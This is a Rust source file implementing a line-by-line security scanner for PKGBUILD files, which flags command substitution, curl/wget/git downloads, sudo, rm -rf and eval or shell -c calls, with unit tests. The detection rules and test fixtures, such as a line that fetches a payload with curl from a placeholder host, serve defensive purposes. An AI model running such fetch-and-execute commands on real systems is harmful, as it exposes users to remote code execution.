use crate::types::sandbox::{
SandboxAnalysisLimitation, SandboxFinding, SandboxRuleId, SandboxStaticAnalysis,
};
const MAX_EVIDENCE_CHARS: usize = 240;
#[must_use]
pub fn analyze_pkgbuild_security(package_name: &str, pkgbuild_text: &str) -> SandboxStaticAnalysis {
let findings = pkgbuild_text
.lines()
.enumerate()
.flat_map(|(index, line)| analyze_line(index.saturating_add(1), line))
.collect();
SandboxStaticAnalysis {
package_name: package_name.to_string(),
findings,
limitations: standard_limitations(),
}
}
fn analyze_line(line_number: usize, line: &str) -> Vec<SandboxFinding> {
let code = code_without_comment(line);
let command_view = without_quoted_content(&code);
let commands = command_segments(&command_view);
let mut findings = Vec::new();
if contains_command_substitution(&code) {
findings.push(finding(
SandboxRuleId::CommandSubstitution,
line_number,
line,
));
}
if commands.iter().any(|command| is_remote_download(command)) {
findings.push(finding(SandboxRuleId::RemoteDownload, line_number, line));
}
if commands.iter().any(|command| is_privileged(command)) {
findings.push(finding(SandboxRuleId::PrivilegedCommand, line_number, line));
}
if commands
.iter()
.any(|command| is_destructive_removal(command))
{
findings.push(finding(
SandboxRuleId::DestructiveRemoval,
line_number,
line,
));
}
if commands
.iter()
.any(|command| is_dynamic_evaluation(command))
{
findings.push(finding(SandboxRuleId::DynamicEvaluation, line_number, line));
}
findings
}
fn finding(rule_id: SandboxRuleId, line_number: usize, line: &str) -> SandboxFinding {
SandboxFinding {
rule_id,
line: line_number,
evidence: bounded_evidence(line),
}
}
fn standard_limitations() -> Vec<SandboxAnalysisLimitation> {
vec![
SandboxAnalysisLimitation::TextOnlyNoExecution,
SandboxAnalysisLimitation::NotFullShellParser,
SandboxAnalysisLimitation::NoExternalReputationOrScanner,
SandboxAnalysisLimitation::NotProofOfMaliciousIntent,
]
}
fn code_without_comment(line: &str) -> String {
let mut output = String::with_capacity(line.len());
let mut quote = None;
let mut escaped = false;
for character in line.chars() {
if escaped {
output.push(character);
escaped = false;
continue;
}
if character == '\\' && quote != Some('\'') {
output.push(character);
escaped = true;
continue;
}
if matches!(character, '\'' | '"') && quote != Some(character) {
if quote.is_none() {
quote = Some(character);
}
} else if quote == Some(character) {
quote = None;
} else if character == '#' && quote.is_none() {
break;
}
output.push(character);
}
output
}
fn without_quoted_content(code: &str) -> String {
let mut output = String::with_capacity(code.len());
let mut quote = None;
let mut escaped = false;
for character in code.chars() {
if escaped {
output.push(if quote.is_some() { ' ' } else { character });
escaped = false;
continue;
}
if character == '\\' && quote != Some('\'') {
output.push(if quote.is_some() { ' ' } else { character });
escaped = true;
continue;
}
if matches!(character, '\'' | '"') && quote != Some(character) {
if quote.is_none() {
quote = Some(character);
}
output.push(' ');
} else if quote == Some(character) {
quote = None;
output.push(' ');
} else if quote.is_some() {
output.push(' ');
} else {
output.push(character);
}
}
output
}
fn contains_command_substitution(code: &str) -> bool {
let mut characters = code.chars().peekable();
let mut in_single_quote = false;
let mut escaped = false;
while let Some(character) = characters.next() {
if escaped {
escaped = false;
continue;
}
if character == '\\' && !in_single_quote {
escaped = true;
continue;
}
if character == '\'' {
in_single_quote = !in_single_quote;
continue;
}
if !in_single_quote
&& (character == '`' || (character == '$' && characters.peek() == Some(&'(')))
{
return true;
}
}
false
}
fn command_segments(command_view: &str) -> Vec<Vec<&str>> {
command_view
.split([';', '|', '{', '}', '(', ')'])
.filter_map(command_tokens)
.collect()
}
fn command_tokens(segment: &str) -> Option<Vec<&str>> {
let mut tokens = segment.split_whitespace().peekable();
while matches!(tokens.peek(), Some(&"if" | &"then" | &"do" | &"!")) {
let _ = tokens.next();
}
while tokens.peek().is_some_and(|token| token.contains('=')) {
let _ = tokens.next();
}
let command = tokens.next()?;
if command.ends_with("()") || command == "function" {
return None;
}
let mut output = vec![command];
output.extend(tokens);
Some(output)
}
fn is_remote_download(command: &[&str]) -> bool {
matches!(command.first(), Some(&"curl" | &"wget")) || matches!(command, ["git", "clone", ..])
}
fn is_privileged(command: &[&str]) -> bool {
matches!(command.first(), Some(&"sudo" | &"doas" | &"pkexec"))
}
fn is_destructive_removal(command: &[&str]) -> bool {
let Some(position) = command.iter().position(|token| *token == "rm") else {
return false;
};
command[position.saturating_add(1)..]
.iter()
.filter_map(|token| token.strip_prefix('-'))
.any(|options| options.contains('r') && options.contains('f'))
}
fn is_dynamic_evaluation(command: &[&str]) -> bool {
matches!(command.first(), Some(&"eval"))
|| matches!(command, ["bash" | "sh" | "dash", option, ..] if option.starts_with('-') && option.contains('c'))
}
fn bounded_evidence(line: &str) -> String {
let trimmed = line.trim();
let mut characters = trimmed.chars();
let evidence: String = characters.by_ref().take(MAX_EVIDENCE_CHARS).collect();
if characters.next().is_some() {
return format!("{evidence}…");
}
evidence
}
#[cfg(test)]
mod tests {
use super::{analyze_pkgbuild_security, code_without_comment};
use crate::types::sandbox::SandboxRuleId;
#[test]
fn ignores_comments_and_quoted_metadata() {
let report = analyze_pkgbuild_security(
"fixture",
"pkgdesc='curl and sudo are words'\n# eval $(wget https://invalid.example)",
);
assert!(report.findings.is_empty());
}
#[test]
fn strips_only_unquoted_comments() {
assert_eq!(
code_without_comment("url='https://example.invalid/#anchor' # comment"),
"url='https://example.invalid/#anchor' "
);
}
#[test]
fn recognizes_download_inside_command_substitution() {
let report = analyze_pkgbuild_security(
"fixture",
"payload=$(curl -fsSL https://invalid.example/payload)",
);
let ids: Vec<SandboxRuleId> = report
.findings
.iter()
.map(|finding| finding.rule_id)
.collect();
assert_eq!(
ids,
[
SandboxRuleId::CommandSubstitution,
SandboxRuleId::RemoteDownload
]
);
}
}